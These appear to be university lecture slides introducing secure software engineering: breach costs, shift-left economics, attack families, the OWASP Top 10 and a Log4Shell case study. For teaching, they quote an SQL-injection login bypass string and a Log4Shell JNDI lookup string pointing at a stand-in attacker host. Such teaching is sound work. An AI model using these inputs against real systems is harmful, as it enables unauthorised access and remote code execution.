



Secure Software Engineering



SE ZG566 / SS ZG566

Overview of Secure Software Engineering

Agenda



What we will cover in this session.

- **1. Why Secure Software Engineering?** — the cost of insecurity, the defender's disadvantage, and why security is designed in rather than added on.
- **2. Popular cyber-attacks on software** — the main attack families, illustrated by Log4Shell, SolarWinds and MOVEit.
- **3. Core definitions, concepts and examples** — asset, vulnerability, threat, risk, exploit; the CIA triad and its extensions.
- **4. Product security versus security products** — a distinction that is small in words but large in consequence.
- **5. Consolidation** — worked examples, quick-check questions, a one-page glossary and revision pointers for the Mid-Semester Test.

Learning outcomes and how they are assessed



On completing Module 1 you should be able to...	Maps to	Tested by
Explain why security must be engineered into software	CO1, LO1	Mid-Sem (short + long answer)
Identify the popular classes of software attack, with a real example each	CO3, LO1	Mid-Sem, Quiz
Define asset, vulnerability, threat, risk, exploit correctly	CO1, LO1	Mid-Sem (definitions)
State the CIA triad and say which pillar an attack violates	CO1, LO3	Mid-Sem, Quiz
Distinguish product security from security products	CO1, LO2	Mid-Sem (distinguish Q)

Source: Course Handout – Course Objectives (CO) and Learning Outcomes (LO)

SECTION A

Why Secure Software Engineering?



- Software now controls money, medicine, transport and government — so its failures are no longer private inconveniences.
- Security is a property of the design, not a product bought afterwards.
- We look at the economics that make early, built-in security the rational choice.

Security is not the same as correctness



Two different questions

- **Correctness asks:** does the software do what it is supposed to do, for well-behaved input?
- **Security asks:** can the software be **made** to do something it should not, by a hostile user?
- **A program can be correct and insecure.** It passes every functional test, yet a crafted input still subverts it — most breaches are exactly this.
- **Secure software engineering** is the discipline of building software that keeps its security properties even under deliberate attack.

Why the distinction matters

- **Testing proves presence, not absence.** Functional tests show features work; they rarely show the system cannot be abused.
- **The adversary is intelligent.** Unlike random faults, an attacker actively searches for the one case you did not consider.
- **Therefore** we must reason about **misuse**, not only use — the mindset the rest of this course develops.

Software has become critical infrastructure



Why the stakes are higher than they were a decade ago.

- **It is everywhere.** Payroll, prescriptions, vehicle braking, the power grid and aircraft are all mediated by software. Code is no longer inside the system — it **is** the system.
- **It is deeply interconnected.** A single library, three dependencies deep, can sit inside millions of applications. One weakness in it becomes everyone's weakness at once.
- **It is a target, not a bystander.** Because software now controls value, attacking software is the most efficient way to steal money or secrets. The attacker follows the assets.
- **It fails silently.** A cracked beam is visible; a logic flaw is not. Insecure software can run flawlessly for years and still be wide open.
- **Consequence.** Insecurity is now a **safety** and **business-continuity** problem, not merely a technical defect — which is why it must be engineered, not patched.

The cost of getting it wrong



Indicator (2024)	Figure	What it tells us
Average cost of a data breach	USD 4.88 million	Insecurity is a measurable business loss
Average cost per exposed record	≈ USD 165	Cost scales with the data you hold
Rise in phishing since generative AI	≈ 40× (SlashNext)	Attacks are cheaper and more convincing
DDoS attacks, first half of 2024	≈ 8 million (Netscout)	Availability is under constant assault

Work Integrated Learning Programmes

The precise numbers change each year; the direction does not. Security is a cost centre only until the breach — then it is the largest line item.
Source: IBM/Ponemon Cost of a Data Breach 2024; SlashNext 2024; Netscout H1-2024

Why security is hard: the defender's disadvantage



The asymmetry

- **Defender must cover everything.** Every input, path and dependency must be protected. The attacker needs only the one you missed.
- **The attack surface keeps growing.** Each new feature, API, library or setting is another door to guard — usually added faster than it can be secured.
- **Attackers cooperate and automate.** One researcher's discovery becomes a worldwide campaign within hours (as Log4Shell showed).
- **Complexity hides flaws.** No one understands a large system end-to-end; bugs live in the seams between parts that each 'work'.

The consequence for us

- The attacker chooses the time, the place and the weakness; the defender chooses only how prepared to be.
- Because perfect prevention is impossible, we combine prevention with **detection** and **containment**.
- And because late fixes are expensive, we move security **earlier** — the theme of the next slides.

Security is built in, not bolted on



Bolted-on (the reflex to avoid)

- Ship features first, 'add security later' — and later never comes.
- Buy tools to wrap around an insecure core.
- Fixes become costly retrofits; some flaws cannot be fixed without redesign.
- The same class of bug returns in the next release because the design never changed.

Built-in (secure software engineering)

- Security requirements sit beside functional ones from day one.
- Threats are modelled before code is written (Module 4).
- A flaw caught in design costs a fraction of one caught in production.
- Resilience becomes a property of the architecture itself.

The trap: 'penetrate and patch'



The default industry habit — and why T2 rejects it as a strategy.

- **What it is.** Ship the product; wait for a researcher or attacker to break it; rush out a patch; repeat indefinitely.
- **Why it is tempting.** It defers cost and ships features faster — and nothing bad has happened **yet**.
- **Why it fails.** A patch removes the symptom, not the design decision that produced it, so the same class of flaw reappears. Meanwhile attackers exploit the gap between disclosure and patching.
- **The exposure window.** Between a flaw becoming public and every system being patched, everyone is vulnerable. For Log4j, US authorities estimated remediation could take a decade.
- **The alternative.** Prevention over reaction — secure requirements, threat modelling, secure coding and testing throughout the lifecycle. That is the remainder of this course.

Why we 'shift left': the economics of early fixes



Phase in which the defect is caught	Relative cost to fix	What the fix involves
Design / requirements	$\approx 1\times$	Change a decision, a diagram, a requirement
Coding	$\approx 5\times$	Rewrite and re-review the code
Testing	$\approx 10\text{--}15\times$	Rework, re-test, re-integrate
Production / after release	$\approx 30\text{--}100\times$	Incident response, patching, fines, lost trust

Exact multipliers vary by study; the shape is always the same. 'Shift-left' is an economic argument, not a slogan — the earlier a flaw is removed, the cheaper it is.
Source: Widely reported industry figures (NIST, IBM System Sciences Institute)

The other pressure: law, regulation and contracts



- **Data-protection law.** GDPR (EU), India's DPDP Act 2023 and HIPAA (US health) make inadequate security a legal liability with real penalties — not merely embarrassment.
- **Sector rules.** PCI-DSS for card data and SOX for financial-reporting integrity raise the minimum standard for entire industries.
- **Secure-by-design mandates.** After SolarWinds, governments (US Executive Order 14028; CISA's 'Secure by Design') push the security burden onto the software vendor.
- **The commercial reality.** Enterprise buyers now demand a software bill of materials, audits and attestations before purchase. Insecurity loses deals.
- **In short.** Security is at once an engineering duty, a legal obligation and a competitive advantage. 'We did not know' is no longer a defence.

Quick check — the case for secure engineering



Q1. A defect is cheapest to fix when caught in which phase?

- (a) Production (b) Testing (c) Design

Ans. (c) Design — the basis of shift-left economics.

Q2. 'Penetrate and patch' fails mainly because...

- (a) patches are illegal (b) it fixes symptoms, not the design
(c) it is too slow

Ans. (b) It treats symptoms while the root cause remains.

Q3. A program that passes all functional tests is therefore...

- (a) secure (b) correct, but not necessarily secure

Ans. (b) Correct ≠ secure; misuse is untested.

Q4. The 'defender's asymmetry' means...

- (a) defenders always win (b) attacker needs one gap; defender must cover all

Ans. (b) One missed weakness is enough for the attacker.

SECTION B

Popular Cyber-Attacks on Software



- We move from why to how — the main families of attack and the incidents that define them.
- Three case studies recur: Log4Shell, SolarWinds and MOVEit. Each is a compact lesson.
- For each attack, ask: which asset, which vulnerability, and what would have prevented it?

A map of software attacks



Keep this table in view as the case studies unfold — each maps to one or more of these families.

Family	Idea in one line	Seen in
Injection	Untrusted input is executed as code/command	Log4Shell, MOVEit
Memory-safety	Overwriting memory to hijack control flow	Classic C/C++ worms
Broken access control	Failing to enforce who may do what	OWASP #1 (2021)
Supply-chain	Compromise a trusted component or update	SolarWinds
Social engineering	Attack the human, not the code	Most initial access
Availability (DoS)	Deny legitimate use of a service	Ransomware, DDoS

A key idea: the attack surface



Definition and use

- **Attack surface.** the total set of points at which an unauthorised user can try to enter, extract from, or affect a system — every input, interface, API, port, dependency and privilege.
- **You cannot defend what you cannot see.** Reducing the surface — fewer exposed features, fewer privileges, fewer open doors — is one of the cheapest security wins available.
- **It grows silently.** Every added library or endpoint enlarges it. Log4j was on the attack surface of millions who did not know they used it.
- **Reduce, don't only guard.** Disabling an unused feature removes the risk; guarding it only adds a control that can itself fail.

Two related terms

- **Attack vector.** the specific path or technique used to reach and exploit the target.
- **Attack tree.** a branching model of the different ways an attacker could reach a goal.
- We formalise these, with T2's wording, in Section C.

Injection — the most enduring attack



How it works

- **The mechanism.** the program mixes untrusted input with a command sent to an interpreter (SQL, the OS shell, LDAP). The interpreter cannot tell data from instructions and runs the attacker's payload.
- **Classic SQL-injection example.** entering ' OR '1'='1 into a login turns the query's WHERE clause into an always-true condition — logging in with no password.
- **Impact.** data theft, authentication bypass, data destruction, and sometimes full server takeover.

How it is prevented

- **Parameterised queries.** prepared statements keep data and code separate, making SQL injection structurally impossible. This is the primary defence.
- **Input validation.** treat all external input as hostile until proven otherwise.
- **Least-privilege database accounts.** so a successful injection can do as little as possible.
- Detailed in Module 8 (T2 Ch 5); introduced here as the leading 'popular attack'.

Two more code-level attacks you must name



Cross-Site Scripting (XSS)

- **What.** injection aimed at the browser — attacker JavaScript runs in another user's session, in the trusted context of your site.
- **Variants.** **Stored** (saved on the server), **Reflected** (bounced via a URL), **DOM-based** (mishandled on the client).
- **Defences.** context-aware output encoding, a Content-Security-Policy, HttpOnly cookies.
- **Remember.** SQLi attacks the database; XSS attacks the user's browser — both are injection.

Buffer overflow (memory-safety)

- **What.** writing more data into a buffer than it holds, overwriting adjacent memory — including the return address.
- **Why dangerous.** a crafted overflow can redirect execution to attacker code; the basis of decades of exploits.
- **Where.** chiefly memory-unsafe languages (C/C++); relatives are heap, integer and format-string flaws.
- **Defences.** bounds checking, stack canaries, ASLR, DEP/NX, and memory-safe languages (Java, Rust, Go).

Broken access control — OWASP's number one (2021)



- **The pattern.** the application knows **who** you are but fails to enforce **what** you may do.
- **IDOR.** an **Insecure Direct Object Reference** — change /account?id=1234 to 1235 and read another user's data because ownership is never checked.
- **Privilege escalation.** a normal user reaches admin functionality, e.g. by tampering with a role claim in a token or by browsing directly to /admin.
- **Missing server-side checks.** the interface hides a button, but the API behind it accepts anyone's request. Client-side checks are not access control.
- **The fix.** deny by default; enforce authorisation on the server for every request; verify resource ownership; apply least privilege; log failures.

Malware — categories to name and distinguish



A frequent 'match the example' question in the examination.

Type	Defining characteristic
Virus	Attaches to a host file; spreads when the user runs that host
Worm	Self-propagating across networks with no user action
Trojan	Disguised as legitimate; the user installs it willingly
Ransomware	Encrypts or steals data, then demands payment
Spyware / keylogger	Silently harvests keystrokes, credentials, screens
Rootkit	Hides deep in the system for stealthy, persistent, privileged access

Source: T2 (Stallings & Brown), Ch 6 — Malicious Software

Attacks that need little or no code



Phishing & social engineering

- **The target is the human.** manipulating people into revealing credentials or running attacker code — why break the lock when you can be handed the key?
- **Forms.** phishing (email), spear-phishing (targeted), smishing (SMS), vishing (voice), and MFA-fatigue.
- **Why it works.** urgency, authority and helpfulness are human defaults; generative AI has made lures fluent and cheap.
- **Defences.** phishing-resistant MFA (passkeys/FIDO2), training, email authentication (DMARC), least privilege.

Denial of Service (DoS / DDoS)

- **The goal.** not to steal but to **deny** — overwhelm a service so legitimate users cannot reach it. A direct attack on Availability.
- **DoS vs DDoS.** one source versus a **distributed** botnet of thousands, which is far harder to block.
- **Defences.** rate limiting, upstream scrubbing/CDNs, autoscaling, and graceful degradation designed in.

Zero-day versus known vulnerabilities



Zero-day (no patch yet)

- Unknown to the vendor when first exploited — 'zero days' to prepare.
- Log4Shell, MOVEit and SolarWinds all began as zero-days.
- Valuable to attackers; often hoarded or sold.
- Defence relies on depth: least privilege, segmentation, monitoring.

Known / n-day (patch exists)

- Publicly disclosed and assigned a CVE identifier; a fix is available.
- Yet most real breaches exploit **known** flaws left unpatched.
- The gap between disclosure and patching is the danger window.
- Defence is unglamorous but decisive: patch management and asset inventory.

The cyber kill chain — how an intrusion unfolds



A model (Lockheed Martin) showing where defences can break the chain. Stop it at any earlier link and the attack fails.



Know your adversary — who attacks software



Actor	Motive & character	Example
Nation-state / APT	Espionage or disruption; patient, well-funded, stealthy	SolarWinds (APT29)
Organised cybercrime	Profit; run as a professional business	CI0p (MOVEit)
Hacktivists	Ideology; defacement, DDoS, leaks	Various DDoS campaigns
Insiders	Malicious or merely careless ; hold legitimate access	Hard to detect
Opportunists / bots	Automated scanning; exploit anything unpatched	Mass exploitation

The same flaw carries very different risk depending on who is on the other side.

The industry checklist: OWASP Top 10 (2021)



#	Category	Meaning in one line
A01	Broken Access Control	Users do what they should not be allowed to
A02	Cryptographic Failures	Sensitive data poorly or never encrypted
A03	Injection	Untrusted input executed (SQLi, XSS, command)
A04	Insecure Design	Flaws designed in, not just coded in
A05	Security Misconfiguration	Defaults, open ports, verbose errors
A06	Vulnerable / Outdated Components	Old, known-buggy libraries (Log4j)
A07	Identification & Auth Failures	Weak login, session and identity handling
A08	Software & Data Integrity Failures	Untrusted updates / CI-CD (SolarWinds)
A09	Logging & Monitoring Failures	You cannot see or respond to attacks
A10	Server-Side Request Forgery	Server tricked into making the attacker's requests

As of 2026 the 2021 edition remains current (a 2025 revision is in progress).
Source: OWASP Top 10:2021

Case study 1 — Log4Shell (CVE-2021-44228, CVSS 10.0)



Apache Log4j is a Java logging library present, often invisibly, in tens of thousands of products. A single logged string could trigger remote code execution — no login required.

1 Crafted string

Attacker sends text the app will log, e.g. `${jndi:ldap://evil/x}` — in a username or header.

2 Log4j expands it

The 'lookup' feature evaluates `${...}` and reaches out over JNDI/LDAP to the attacker's server.

3 Malicious class

That server returns a hostile Java class, which the victim's JVM downloads.

4 Code executes

Attacker code now runs with the app's privileges. WAFs were bypassed with obfuscated payloads.

Root lesson: **never let untrusted input reach a powerful interpreter** — the same principle underlies SQL injection.

Source: Wikipedia (Log4Shell); IBM; Apache Software Foundation

Log4Shell — scale and lessons



Why it mattered

- **Ubiquity + invisibility.** an estimated 93% of enterprise cloud environments were affected (Wiz/EY); over 35,000 Java packages carried Log4j transitively (Google).
- **Trivial to exploit.** no authentication, a one-line payload, and exploitation attempts running into millions per hour at the peak.
- **Impossible to inventory.** most organisations could not even tell whether they were affected — it was a dependency of a dependency.

What would have prevented it

- **Know your dependencies.** you cannot patch what you do not know you run — this is why SBOMs (Module 9) became contractual.
- **Secure defaults.** the dangerous JNDI lookup was on by default; off by default would have neutralised it.
- **Least privilege.** if the logger could not reach the network, the blast radius shrinks sharply.

Questions

